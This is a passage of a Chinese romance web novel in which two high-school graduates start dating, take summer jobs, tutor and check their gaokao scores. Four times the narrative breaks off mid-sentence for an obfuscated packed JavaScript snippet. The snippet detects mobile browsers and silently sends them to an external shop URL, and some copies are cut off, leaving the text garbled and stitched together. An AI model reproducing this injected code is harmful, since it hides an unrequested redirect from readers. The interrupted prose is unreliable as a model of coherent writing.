她笑了下,这才意识到李泊松那边的背景有些乱,有人声,好像还有篮球砸在地面的声音。她很吃惊:“这么早,你们在干嘛?” “打球啊,”李泊松声音懒洋洋的,“我不是刚刚说了,我已经醒了两个小时了。” 她说这人喘什么呢,原来是打球。 “……”闻竹问:“谁在?” “你认识的有毕哥、程栩,还有……” “停,”闻竹头疼道:“你们都不睡觉的吗?” 实话说,李泊松昨晚只睡了三个多小时,但他一点黑眼圈都没有,早上到球场时神清气爽,被毕雨泽调侃爱情养人,之后被程栩拉着八卦了十分钟。 “太兴奋了睡不好,感觉也不是很需要睡眠。”他觉得闻竹可能在电话那头翻白眼,于是笑道:“你还要睡个回笼觉吗?” “不睡了,”闻竹没好气地说:“我也不需要睡眠了。” “既然你醒了,我去买早餐。”有人叫了李泊松一声,他小声凑过去讲了几句话,又凑近手机问:“想吃什么?” 闻竹也没和他客气:“麦当劳的那个有蛋又有鸡排的……叫什么来着?” 李泊松说:“懂了。” 闻竹这会儿已经起身换衣服了,她打开扩音器,把身上的睡衣脱下来。阳光跳跃着,隐约穿透了轻纱的窗帘,照在她白皙的背上。 李泊松接着问她:“今天想做什么?” “今天……找工作。” 饶是李泊松再了解她,也没料到这个意料之外的回答。他惊讶道:“嗯?” - 李泊松敲门的时候,闻竹刚刚画好了妆。 他们在门的两边望着对方。 李泊松闻到了她身上洗发水浅淡清新的香味,之后意识到她化了淡妆,整个人更加明媚美好。他还穿着一身球衣,额角隐隐有汗珠,脸上却干干净净的。 “怎么这么着急,你说你要来,我会等你的。” 李泊松靠在门框处挑眉看她,凉飕飕地说:“我都没见过你化妆。” 闻竹对付他很有自己的一套,她笑了下,问:“你看出来了?变化大吗?” “不大。你原本就漂亮,现在……可能更漂亮了一点吧。” 又夸她又肯定了她的努力和化妆技术,不容易,闻竹很高兴。李泊松趁机问:“你要多久?中午一起吃饭吗?” 闻竹点头:“好啊。” 闻竹没说让他进门,自己包已经背好了,却也没有踏出门口一步,李泊松保持着靠着门框的姿势没动,就这么聊了好几句,聊到了楼上的女孩下楼。 闻竹忽然想到,上次也是这样的场景。 女生和闻竹打招呼,闻竹笑笑回应,李泊松也礼貌地点了个头。 她已经拐下了楼梯,却踌躇地停下脚步,转头问:“那个,这样好像有点冒犯……我能不能问问你们是不是情侣啊?” “能看出来啊?”闻竹接话很快,笑出了一个酒窝。 那女生爽朗道:“能,上次就能,很明显啦。” 在她走后,李泊松朝着闻竹调皮地眨了眨眼睛。 闻竹朝他那边凑了凑,小声道:“亲我一下。” 李泊松看着她完美的脸庞,一瞬间竟然有些犹豫。之后他闭上眼睛凑过去,吻在了闻竹的唇上。 两人第一次接吻,都心如擂鼓,明明没做出什么大动作,只是唇和唇的轻触,结束之后却都有些呼吸不稳,不敢看对方,却能听到对方同频震动的心跳。 两人沉默地吃完饭,两人沉默地走下楼梯,到了单元门口,李泊松才开口问:“你中午没事情吧,一起吃饭?” 看到他也这么慌乱,闻竹反而冷静下来了,她笑:“你说过一遍了,我已经答应了。” “哦,是吗?”李泊松觉得自己谈恋爱好像影响了智商,就听到闻竹说:“好。” “嗯?”他弯了下眼睛,眼角的痣灵动起来。 “我再答应你一遍。”闻竹微微仰视他。 李泊松差点忍不住又想亲她一下,看到了她重新涂好了口红的唇又硬生生按下了这种冲动。 闻竹忽然故意冷了下脸,在李泊松挑眉时又拉住了他的手,弯唇道:“走了。” 谈恋爱谈得很投入,导致到了中午吃饭时闻竹才反应过来问李泊松一些正事。 “你这房子还续租吗?” “续,”他说,“但是应该只能续到七月末,不然会耽误房东租给别人。” 闻竹点点头,觉得有道理:“那你八月份呢,去哪儿?” 问过之后大概猜到了答案,她觉得李泊松一定是要去宁城那边的,毕竟那边现在才算真正的家。 “大概,在酒店住一段时间吧。” “啊?”闻竹美目圆睁,“要陪我吗?” “你不要有心理负担,”他扬眉,“我熟悉的朋友都在这边,我在临城长大,还是对这里感情更深点。” 闻竹并不自恋,但也清楚他刚才那一番话都是胡扯,她刚想说什么,就被对面的人岔开了话题:“你还没和我说呢,假期要做什么?” “哦,”闻竹才想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941129|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己忘了这茬,“之前学书法的时候,那位书法老师有个女儿,比咱们大两岁,你还记得吗?” 李泊松吃东西的动作停了下,很是认真想了一番,最后答:“没印象。” 看到闻竹略有些失望的表情,他好笑道:“这都将近十年了。” “也是……”闻竹想到这个姐姐也是一中的学生,比他们高两届,因为当初一起参加过一个比赛才重新熟悉起来,李泊松不记得她实属正常。 闻竹接着说:“她高考之后联系我,说朋友在滨海北路景区那儿开了家文创店,这个暑假想找一个会写毛笔字的人,问问我可不可以。” “听起来挺好玩的,”李泊松眼睛亮了亮,很捧场地应了声,才道:“不过我本来以为你要去做家教。” “我这几天真的不想再做题了……我其实一点都不喜欢学习。”听了他的话,闻竹嘴角都向下了。 李泊松被她无奈的语气逗得不行,很是笑了一会儿。之后闻竹问:“那你呢?你最近想做什么?” “我啊,小路昨天给我介绍了两个高中男生的家教,最近几天就要去上课了。” “哦?”闻竹很诧异。她觉得在他们几个人中,最不愿意做家教的才是李泊松,好像山南海北呼朋唤友地玩才像他。 “惊讶什么,”他笑笑,“我要赚钱啊。” “就这些?” “还有呢,比如去考摩托车驾驶证。”他看着闻竹的眼睛,问:“想不想体验一下那台车的后座?” 闻竹想,这才像他,而后重重地点了下头。 两人从店里出来,沿着公园后街的小路回家,走了几步后闻竹反应过来,他们刚刚经过的那个十字路口是临城的一个热门打卡机位,到了假期,那个路口就会变得人潮汹涌了。 她一回头,李泊松也停下脚步,去看她看的地方。 他们两个一起并肩走过很多次,却从来没像今天这样回头看过来时路,闻竹觉得有趣,又发现了一点不同之处。 他们今天牵了手。 闻竹的手无论冬天夏天都很凉,李泊松却好像个火球一般,把她包裹住。冬天倒是很好,到了盛夏,估计会觉得热吧。闻竹脑海中随意想象着,感觉到李泊松捏了下她的手。 他让闻竹在树荫下稍等一会儿,又神神秘秘地跑进了路边的一家花店。这家花店的店面很美,外面都是一盆一盆盛开着的花,把夏天装点得更加热烈动人。闻竹听话地等着,在他进门时听见了店门口的贝壳风铃发出的清脆声响。 李泊松没让她等太久,不一会儿就抱着一大束粉色的鲜花出来。 “芍药?”她的眼睛亮起来,难得这么喜形于色。 李泊松点头:“不错啊,这都认识。” “你不要哄小孩子。”闻竹不大高兴。 前几个月曲思嘉过生日的时候,她很是努力做了一番功课,再也不是当初那个康乃馨都不认识的女生了。 李泊松把手里那束开得明媚的粉色芍药放进闻竹怀里,听到她问:“那假期计划里,是不是还有和我谈恋爱?” 上次李泊松说的是追她。 “是,”他笑笑:“我大概会有很多做不好的地方,你会见到你从来没注意到的我的缺点。你要来喜欢我吗?” 闻竹点头,再一次确切地说:“我喜欢你。” 72. 夏夜晚风 大家自从给李泊松补过完生日后很久都没再聚过,但话一直没少说,每天的聊天距离都有几十个屏幕那么长。 闻竹和李泊松倒是天天见。 李泊松“追人”的方式非常老土,包括但不限于送花、点全糖奶茶、在快递站帮闻竹取快递和每天说晚安。 虽然说是在追她,但李泊松见到任何一个朋友时都会主动和他们介绍闻竹,说是他女朋友。 刚开始的几天,闻竹觉得很有意思,后来在额头上冒出一个鲜红的痘后果断地戒掉了奶茶,也不要他再送花。李泊松说“好”,之后邀请她去吃饭。 此刻,闻竹正坐在李泊松家的餐桌旁边,用他的电脑看美剧,偶尔抬头看看他忙活的影子。 “要不要我帮忙?”闻竹单击空格,按了暂停。 “不用,我很熟练的。” 闻竹干巴巴地“哦”了声,想起上次吃他做的饭还是五一假期的时候。他做的饭味道说不上好,但也说不上坏,但他这次已经不用再拿手机搜索食谱了,估计在这之间还做过几次。 她盯着男生的背影出神,被人抓了个正着。 闻竹意识到李泊松在叫她的时候,手机已经响了好几秒了。 “走神了,”男生扬眉道:“帮我接下电话,我手上不方便。” 闻竹“哦”了声,接了电话凑近他耳边。 他手机并不轻,这样举着会很累,于是小声道:“开免提。” 闻竹不知道谁给他打电话,也小声问:“我方便听吗?” 还没等李泊松说什么,那边道:“喂,泊松?” “姜哥。”李泊松笑了下。 闻竹没说话,也没动弹,就坐在那儿安静地听他们两个聊天叙旧,自己摆弄着手机。 直到那边问李泊松要不要去他新开的酒吧驻唱。 闻竹默默地抬起眼皮。 李泊松的表情也颇为精彩:“什么时候开上酒吧了?” “两个月之前。搞个副业,上班没意思。”闻竹不知道这个“姜哥”是谁,听他们两个的语气感觉两人应该挺熟悉的。 “我唱歌跑调啊,那不是砸场子么。” 锅响了一声,李泊松赶紧过去关了火,又坐回闻竹身边。 “没事儿,”电话那头道,“你帅,往那儿一坐就行。” 李泊松笑笑:“我最近不回去,至少还要在这边住两个月。” “都考完试了还不回来?” “嗯,”他就说,“陪女朋友。” …… 挂断电话后,闻竹扶额想道:这才几天啊,李泊松已经成功地把他谈恋爱的事告诉了绝大对数朋友,简直是逢人就说不问也说。 能不能矜持一点…… - 闻竹一直有股劲,就是那种传说中做什么都会成功的动力,她决定这个假期多体验多感受,就一直在找让不一定多有意义、但让自己觉得很开心的事做。 李泊松一如既往地爱折腾,忙着考驾驶证和赚钱,还有就是和闻竹谈恋爱。 他今天的课上到了下午六点钟,下了课就发微信问闻竹今天有没有很忙,之后准备去滨海北路这家文创店找她。 直到下车看到海,他还没收到回复。 那就是很忙,忙得没时间看手机。 按照她平时的作息,他们晚上基本上在正好的饭点吃饭,吃过饭后店里的人就会多起来。 高考之后的临城正式迎来了暑假的第一批游客,有几条街道到了晚上十点钟依然堵得水泄不通。他从附中那边过来,先乘地铁到了滨海北路的路口,而后才坐公交上来。 他在车上点好了奶茶,拎着进了店里,穿过一片人潮走到柜台处,把手机拎的奶茶递过去。 李泊松这人长得帅、嘴也甜,他自己很擅长利用这些优势。柜台处这个穿着黑色衬衫的就是老板,四十岁出头,但是看着非常年轻。她名字挺诗意。叫杨州,闻竹管她叫州姐,他就也跟着这么叫。 她抬头后,打趣地笑了下:“哦,找闻竹呀?” 李泊松也笑,大大方方地承认,把手里的东西放在柜台上:“我带了几杯奶茶,不知道合不合你们的口味。” “怎么这么客气……我们这里晚上这会儿都闲不下来,竹子那边我也没有给多少工资,还得谢谢她来帮忙,下次别买了啊!” 李泊松点点头,说:“她在这儿挺开心的。” 这个店的店面不大,但有两层楼,老板审美不错,旅游旺季的时候摩肩接踵的,夸张的时候转身都转不开。店员有五个,加上闻竹总共六个人,上次李泊松下课早,来这边之后还和他们一起吃了饭,彼此之间印象很好。 他打过招呼就上楼去找闻竹了,把其中全糖的一杯拎在手上。 闻竹今天穿了件白色的刺绣连衣裙,头发随意挽着扎在了脑后。她抬头活动了一下手腕的功夫,一眼就看到了站在人流中不动如山的李泊松。 这人手里还拎了杯奶茶,歪着头看着她。 大概是没想到会突然和她对视,他的眼睛睁大了些,有点惊讶的样子。闻竹起了逗他的心思,朝那边眨了下眼睛。 店里会卖一些手工的扇子和明信片,她的工作就是拿着毛笔往上写字印戳。 其实最开始的时候闻竹觉得自己写得没那么好,不知道能不能做这件事。李泊松倒是很相信他,他说:“能找你自然就是相信你能做好,而且,”他顿了顿,“要是老师去的话就不是这个价了。” “……”闻竹无语道,“你还挺会安慰人的。” 李泊松刚要过去就接了个电话,于是站在难得的那块空地等了会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957954|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。这人太多,接电话都听不太清,他刚接起来,就看到一个男的矮身凑到闻竹旁边跟她说话,闻竹马上让身子离远了些,皱了下眉。那人愈发殷勤,还晃了下手机。 他看上去和他们年纪差不多,也是大学生高中生的样子。 李泊松忙挂断电话三两步走过去,听到闻竹说:“我没有微信。” 已经客气了几句,那边还不依不饶,她已经有些不耐烦了。 “那你的手机号也行。” “我没有手机。”她嘴上答着,手上的事也没停下。 “你这美女怎么这么小气啊,就认识一下呗。” “我不想认识你。”闻竹拒绝没礼貌的搭讪向来很痛快,她也不懂这人怎么这么理直气壮。 在她抬眼准备再说些什么的时候,李泊松挡了一下:“她都说了不愿意,懂不懂尊重人?” 说完这话后,他把冷脸收回去,假装礼貌地微笑了下,问:“满六十减五,店里随便挑。想买什么,需要我介绍一下吗?” 那男的走了之后,闻竹没抬头,只说:“让一下呀,个子这么高,挡着光啦。” 李泊松“嗯”了声,站在了她身后的位置:“给你带了抹茶牛奶。” 闻竹抬头看着他弯了下眼睛:“加啵啵了吗?” “加了,两份。”他垂着眸子。 “谢谢,老板大气。” “……你最近在干嘛?” 闻竹想了想:“哦,我妈最近在看游戏直播。” 她还要忙一阵子,李泊松也在楼下帮帮忙。这店开到凌晨,闻竹一般八点就下班,并不在这坐太久。 每逢旅游季,晚上从滨海北路发车的环路就变得十分难等,队伍排得长长的,通常得等两三趟车才能顺利坐上,滴滴更是一车难求。 他们两个顺着环海路往下走,海风吹走了暑天燥热沉闷的空气,带来了一丝夏夜晚风。 闻竹哼着歌,他闻到了熟悉的洗发水味道。 “电影里男主说自己写了这首歌,想唱给女主听。他刚唱完女主就发现他出轨了,给了他一巴掌。男主呢就很惊讶,不明白她是怎么知道的。”李泊松听着她唱歌,忽然道。 “啊?”闻竹有些惊讶,她眼睛亮了下,问:“我都没印象了,你怎么记得这么清楚?” 她唱这首歌是因为最近戴着耳机经常随机循环到,而且旋律很抓耳,听多了就会唱了。至于最早是在哪里听到的,早就不记得了。 李泊松淡淡道:“你说这是你最喜欢的电影,在这几天里,我看了三遍。” 闻竹一下子笑出声来:“这么认真啊,”她问:“那你喜欢吗?” “算不上多喜欢,”李泊松也笑了下,很诚实地说:“但是能明白你为什么喜欢。” 闻竹想,这就足够了。 73. 圆梦时刻 闻竹的房子也租到七月末。 因着众多缘故,加上有点恋旧的情绪在,她偶尔在家住,大多数时候还是住在四季学府的小公寓里,像过去的两个春秋一样。 高考后她卖了一批书,在李泊松的帮忙下搬了一部分衣服和书本回家,这边看起来比高考前空旷很多。 闻灿最近学习状态不错,成绩也很稳定,前几天说想去闻竹那儿住几天。闻竹觉得她真是有些“色令智昏”了,再这边谈恋爱谈得风生水起,都忘了陪陪妹妹。 闻竹的本意是自己回家住,不让闻灿折腾了,不然的话她上学也会变得不方便。但闻灿觉得在家住太久了,想换个环境换个心情。闻竹欣然答应,早早地把属于妹妹的被子和洗漱用品等都准备出来。 期末考试在即,闻灿最近和朋友搭伴在小区附近的自习室学到九点钟后再回家。今天她刚过七点就出了自习室,看到了在门口等她的闻兴阳。 她快步走过去:“爸爸,你今天怎么开车了?” “嗯,”闻兴阳摸了下她的头,两人一起坐进车里,他说:“接你去姐姐那儿住几天。” “是吗!”闻灿的开心写在了脸上,“太好了。” 车子平稳地开上双行道,拐过一个弯后停在了一个六十秒的红灯前,闻兴阳突然问:“你姐姐怎么回事,还不搬回来,住学校对面那个房子习惯了?” 听了这话,闻灿微妙地顿了顿,心想他爸该不会还不知道姐姐在谈恋爱这回事吧。 “嗯……不是说在做兼职吗?” 闻兴阳“哦”了声,点点头,父女两个随意地聊了会儿天,四季学府很快就到了。 天已经彻底黑下来了,到了晚上,大家都“归巢”后,小区里的临时车位变得珍稀起来,好在有辆车刚开走,闻兴阳借着这个光停进了那个刚空出来的地方,火还没熄,就看到了一对小情侣拉着手走过去。 步子慢悠悠地,很惬意很享受,到了楼下还依依不舍,相对着小声聊天。 闻兴阳先是对“年轻真好”发表了自己的感慨,感慨过后才意识到什么,问:“小灿,你有没有觉得那个女生像你姐姐?” “……”闻灿默默地说:“不是好像。” 车门锁开了,闻灿解开安全带,又弱弱补充道:“妈妈没和你说吗?” 闻兴阳:“……” - 闻灿在闻竹这住了三天,后两天是周末,她翘掉了兴趣班,白天都待在家里。到了傍晚,闻竹先送她去上数学课,而后就顺路去去景区那儿做兼职了。 闻灿比闻竹的生活方式健康得多,她对外面的食物向来不感冒,也吃不了辣。闻竹早上给她做三明治,中午和晚上都吃外卖,到了周末一睁开眼睛,她就摩拳擦掌地准备自己做饭。 在此之前,闻竹会做的只有最简单的三明治和柿子炒蛋。 因为是突发奇想,她打开冰箱看了眼食材,按照网上的教程煮了一个懒人火腿炒面。面做好后色香味,但因为酱油放得太多,她吃了一口后就偷偷倒掉了。闻灿在房间里写作业,根本没察觉。后来闻竹到底是又做了两份三明治。 她一上午都在厨房里研究中午的饭,快十点的时候跑了一趟超市。十二点,闻竹搞出了两菜一汤,去问闻灿:“我想叫李泊松过来,如果你介意,那我就不叫了。” “我不介意呀,”她笑笑,“你男朋友嘛。” 闻竹睁大眼睛控诉道:“你学坏了哎。” 接到电话的李泊松表现得十分积极,三四分钟就过来敲响了闻竹家的门。闻竹叫他进来,他就非常自觉地要去帮忙盛饭,闻竹就拒绝:“不,别,你坐着,说了请你吃饭。” “……”李泊松从善如流:“好的。” 在闻竹盛饭的时候,李泊松和闻灿坐在桌前聊天。李泊松到底闲不下来,手上还在擦着桌子。 闻灿很腼腆,话并不多,是个很好的倾听者。李泊松这人就比较妙了,和话多的人聊天,他就话少,和话少的人聊天,他就话多。 闻竹一直专心于她做的菜,直到闻灿问了一句他想去的学校时才抬眼看过去。在此之前,闻竹和李泊松聊过专业的问题,李泊松还是想做医生,闻竹觉得有点意外,没想到一个童年时期写在作文里的梦想,竟然真的是他的梦想。 对此,李泊松很做作地说是因为他很专情。 但是他们那天不约而同地避开了报哪所学校这个话题,两人都不想干涉对方的决定,同时心里也希望能离对方近一点。 “我啊,没太想好,”他低声说,“看你姐姐吧。” 闻竹把落在他身上的目光收回来,不一会儿,两菜一汤全都上桌了。她坐下,一副主人的样子道:“多吃点,别客气。” 过了会儿,见没人发表什么评论,她只好问:“怎么样?” 闻灿重重地点了下头,说:“好吃。” 李泊松看闻竹的视线落到了自己身上,他斟酌了一下,委婉道:“能吃。” “……”闻竹木着脸起身,作势要把李泊松的碗拿走,李泊松反应很快地躲了一下:“你做什么,不是说请我吃饭?” “我反悔了。” 李泊松不给她反悔的机会,埋头吃得认真。 两人闹了这么一下,彼此都高兴了,之后他们就陪闻灿聊天,不再说自己的事了。 下午李泊松照例要做家教,他走后二十分钟,外卖送了两杯去冰的西瓜汁,闻竹心里骂他闲的,给闻灿拿过去一杯后,发微信问他到了吗。 - 到了公布成绩的那天下午,闻竹坐在沙发上看综艺,李泊松拿着手机抱着电脑在她脚边的地毯上打游戏。 昨天陈女士在工作室待到了凌晨五点,到家的时候特意给闻竹发了微信,叫闻竹不要管她,睡到了中午还没有醒来的迹象。她打开房门看了眼,退出房间后把中午饭扣好,悄悄地溜出了家门。 李泊松开门的时候是有些讶异的,开玩笑似的问闻竹是不是有点紧张。闻竹把他拨开,熟练地换鞋进门,才转身说“没有”。 “我是怕你紧张。” “哦,”他点点头,“我是挺紧张的。” “……”闻竹有时候拿他没办法,于是径自地走到了沙发坐下,地毯上摆着李泊松的电脑,他还在打前段时间刚上线的一个3A大作,她走过去的时候差点踩到这人的手机。 大概是心里有些惦记的缘故,闻竹看了会儿综艺觉得有些无聊,于是按了静音,凑过去看李泊松打游戏。 李泊松学习的时候可以屏蔽她的存在,这会儿却不能,手上操作着,嘴上还不忘和她聊着天。 一道手机铃声划破了安宁的氛围。 两人的手机叠放在一起被扔在地毯上,因为都是默认铃声,同一型号的白色手机,因而一时也分不清是谁的在响。 李泊松顺手接了电话,凑到耳边“喂”了声。电话那头大惊失色,叫道:“怎么是你啊,竹子呢??” 他把手机拿远了些,这才看到屏幕上的备注是“思嘉”,他一时愣住,闻竹凑过去接过手机,清清嗓子道:“我在这呢,”她补充:“李泊松他接错电话了。” “……”曲思嘉道:“你们两个,住一起啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然紧张了,”他笑了下,揽着闻竹的肩膀让闻竹的耳朵凑近自己的胸膛,“来听听我的心跳。” “哎,”闻竹挣扎了一下之后就随他去了,嘴上说:“听见了,不知道是谁的。” 他们最后查到成绩的时候是四点整。 当时李泊松随意地点进去一个链接,并没抱着能查到的希望,查分的时候还在聊着天,因而分数蹦出来的时候两人都愣了下。 七百零二。 很高的分数。 闻竹小小的欢呼了一下,心里反而平静下来了,李泊松说:“你自己查?” “你查,我给你念。” 李泊松盘腿坐在地毯上,输入闻竹的名字和身份证号。 “你什么时候背的?” “什么?”他在输入考生号的时候随口答。 “我的身份证号。” “这还用背啊?”他弯唇,“听一遍就记住了。” 闻竹笑了:“你不要装。” 闻竹的成绩比李泊松高了两分,七百零四。 “天呢……” 她凑得离电脑屏幕太近了,虹膜上反射着屏幕的光,李泊松给了她一个不含其他情愫、只是单纯地带着欣喜和欣赏的拥抱。他的胳膊很用力,用力到闻竹觉得自己快被他揉碎了。 三年,又不止三年,那些浓重的黑夜和试卷上风干的眼泪,至此都有了应有的回馈。 这种浓烈的情绪冲击着她的内心,她凑上去,回抱住身边人。 两颗心同频震动。 74. 来日方长 I will 闻竹近日的生活无甚变化,唯一不同的是重新拿起了相机。 她有次出发得早,到了滨海北路时离约定去文创店的时间还有半小时,于是想着去海边走一走。一年四季,每天的海都不同,她随意溜达着,买了杯路边的酸梅汤。 天气炎热,但依旧游客云集,大概是她插着耳机避开人流的样子颇像本地人,有对年轻的情侣朝她问路,目的地是一个网红打卡点。 闻竹虽然不沉迷手机,但网速不慢,还对旅游和拍照比较感兴趣,因此被推送的大多都是这些内容。 她很熟悉那个景点,在女生亮出来的手机地图上指了指。 “离这不算太远,在下一个沙滩,大概要走十多分钟吧。” 两人给她道了谢。 “能麻烦你帮我们拍张照片吗?我们两个一直都自拍杆来着,特别想拥有一张他拍视角的照片。” 她欣然答应。 在闻竹说她会用相机之后,女孩露出一个惊喜的表情,把他男朋友手中的相机递过去。 闻竹拿着相机后退几步,拍了一张后给他们两个指挥了一下姿势,拍完女生特别高兴,拿着相机一直翻看,并拉着闻竹要请她喝奶茶。她这一年多被李泊松感染了一些,逐渐地也能和陌生人聊天,但还没有那么外向,于是忙拒绝了。 “不用客气,这是小事。” “那不行,浪费了你十分钟的时间呢。” 最终女生还是塞给了她一盒桃酥,本地的牌子,特别好吃。闻竹还是收下了,又祝他们旅途愉快。 晚上的时候她和李泊松靠在沙发上看电影,把这事和他说了。 李泊松点点头,觉得这个插曲很美妙。“你有没有加那个女生的微信?” “没有哎,”闻竹说,“她还挺合我眼缘的,像是那种做朋友会很舒服的人,但一面之缘,就算有了联系方式也不会联系吧,就没有提出来。” “嗯,你说得对。”李泊松赞同了她的观点,又问:“拍得那么好呀,这么久没碰相机也没有生疏?” “不知道,我觉得还行,景美人美,拍出来怎么也不会丑吧。” 闻竹和摄影缘分颇深。 她妈妈从事这行,她从小耳濡目染,从小时候就开始自己摸索相机拍照了。到了高中,已经摸过了很多新鲜设备,拍过了很多照片,在社团的一年多里又遇见了许多同样喜欢摄影的同学。除此之外,她还有一个高二那年参加比赛获得的奖项。 闻竹和李泊松说:“从现在开始,我想多拍点照片。” 李泊松非常支持,而且带着种情人眼里出西施的滤镜:“你拍得都很好。” - 六月末,部分同学的志愿已经填报完毕,就等着录取结果和通知书了。 闻竹翻看同学和同届朋友的朋友圈和视频动态,发现大家的精神状态都焕然一新。 闻灿终于结束了期末考试,闻竹带着她去周边玩了两天。 出去玩的时候正巧躲过了临城的大雨,高铁到达临城站台时正是阳光明媚的下午,热辣的太阳透过树荫炙烤着大地,整个城市有着枝繁叶茂的活力。 闻竹想到李泊松昨天给她发消息抱怨天气差,又问她什么时候回来。 她起了逗人的心思,问他天气差还是他的心情不好? 李泊松就不拐弯抹角了,直接说“我想你了”。 他们两个吻都接过不知道多少次了,真正的情话倒是说不过三句,拉手拥抱依然心跳加速。闻竹看到这三个字没忍住想象了一下李泊松说这话的神情,在床上滚了两圈才爬起来回他的消息。 想到这儿,闻竹觉得这几天都没见到男朋友,于是发了好几条微信过去,问他晚上要不要出来吃饭。 虽说是出去玩,但旅途还是奔波劳累的,她的计划美满,问完这句话之后却睡着了,连家里的晚饭都错过了。 睡了个没人打搅的舒服觉,醒时不知今夕是何夕。闻竹迷迷糊糊往窗外看,昨晚没拉窗帘,外边已是天光大亮了。意识回来后,她惊了一下,反应过来这是第二天清晨后忙去摸手机。 五点零八分。 她抓了抓头发,从床上弹坐起来,忙打开微信。 她从加上李泊松微信那天就没给对方打备注,对话框一直都是简简单单的字母“L”,但男朋友还是要有些特权的,闻竹同学在恋爱的第一天,置顶消息就多了个联系人。 李泊松当时很震惊:“可咱们那个群你都一直置顶的。” 潜台词就是,我竟然才得到这种待遇吗? 闻竹就笑:“是啊,那时候你们同等重要,现在……” 一句话还没说完,李泊松就这么轻易地被她哄好了。 他发了消息,但并不算多,闻竹逐条看下来,最后一条是语音。 “累坏了吧?醒了告诉我。明早要回学校取成绩条,别忘了,如果我没看到你的消息,我就去你家找你了啊。” 这语气听起来不算温柔,但话音里处处都是亲昵意味,一点都没因为自己放了鸽子不高兴。 闻竹起身站在窗边,打开飘窗探身朝外看,正是日出时。她先轻手轻脚地洗了漱,在换衣服之前给李泊松发消息。 【一支竹子:我醒了。】 出乎她意料,那边回复得非常快。好似这不是凌晨,而是他们两个日常聊天的午后。 五点钟都能秒回消息的男朋友好是好,就是说的话有些阴阳怪气的意味。闻竹隔着屏幕都能想象到他调侃的笑。 【L:终于醒了,睡神也不过如此啊。】 【一支竹子:……】 闻竹本想问他这么起得这么早,是不是被她吵醒了,几个字出现在对话框后,她忽地反应过来,这人假期习惯晨跑,要么就出去打球,没有一天在睡懒觉。她一直都知道的,怎么谈了恋爱反倒忘了? 迅速删掉对话框里的字后,闻竹想了想,重新发出邀约。 【一支竹子:你出门了吗?一起吃饭吧。】 - 闻竹趿拉着拖鞋进了卫生间,用最快的速度收拾好了自己,出门之间就叫了个滴滴,车和她人几乎同时到小区门口。司机师傅是个四十多岁的女士,在闻竹说了手机尾号后看着导航问她:“小姑娘,去看日出?这个点可不早了啊。” “不是,阿姨,我去……见我男朋友。” “哦,”司机带着临城本地人的热情淳朴,猜错了也并不觉得尴尬,“我看你挺兴奋的,就这么一问。” 她不知道自己的情绪外露这么明显,于是笑笑,心里惊讶地意识到自己可能有恋爱脑的潜质。 滨海北路的路牌藏在那条蜿蜒的环海公路起始处的一颗大树下,闻竹在这下了车,一眼就看到了李泊松的身影。他斜背着一个运动款的白色挎包,穿着黑T恤白工装裤,很干净地帅。 李泊松也在端详她。 闻竹着急出门,头发是昨天到家之后洗的,一觉醒来没有乱,柔顺地落在肩上。她大概是着急出门,只涂了一层薄薄的口红,几乎是素面朝天。大概是睡够了的缘故,她气色红润,于是李泊松很不吝啬地夸她漂亮。 “哦,谢谢,”闻竹故意道:“你也还行。” 惹得他笑出了声。 这会儿看日出的人们已经陆陆续续下来了,两人迅速进了一家早餐店,在靠近门口的小角落坐下,点好了灌汤包和小馄饨,没一会儿就人头攒动,没有一点清晨冷清的样子。 闻竹看着热气在馄饨碗中蒸腾而上,心知肚明这只是一个普通的早晨,却莫名觉得自己会在未来的某一天忽然想起,然后和坐在对面的人再来吃一次热气腾腾的早餐。 - 取成绩条的时间是八点钟,他们两个到得比较早,但班里已经到了十几个同学到了。他们两个习惯了从后门进班,今天也是走的后门,刚一进去就和讲桌后的岩姐对上了视线。 身份缘故,岩姐虽然对他们好,但也是真的严肃,有时候一周都看不到她一个笑脸。 这会儿学生们甫一毕业,成绩又好,她同样绷了三年的神经放松下来,看到闻竹后扑哧一声笑了出来,李泊松也弯弯唇角,两人远远地和她打招呼。 第一排的桌上摆了一个很大的蛋糕,闻竹好奇宝宝似的凑过去看,上面写的字是“青春永不散场”,竟然还插有每个人的姓名牌。 岩姐把手机搁在一边,招招手让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有时候闻竹起得晚了,或是没睡够的时候,她会校园的这条路太长了,怎么需要走这么久、浪费这么多时间。此时此刻,这条路在鸟雀啾鸣中忽地就到了尽头。 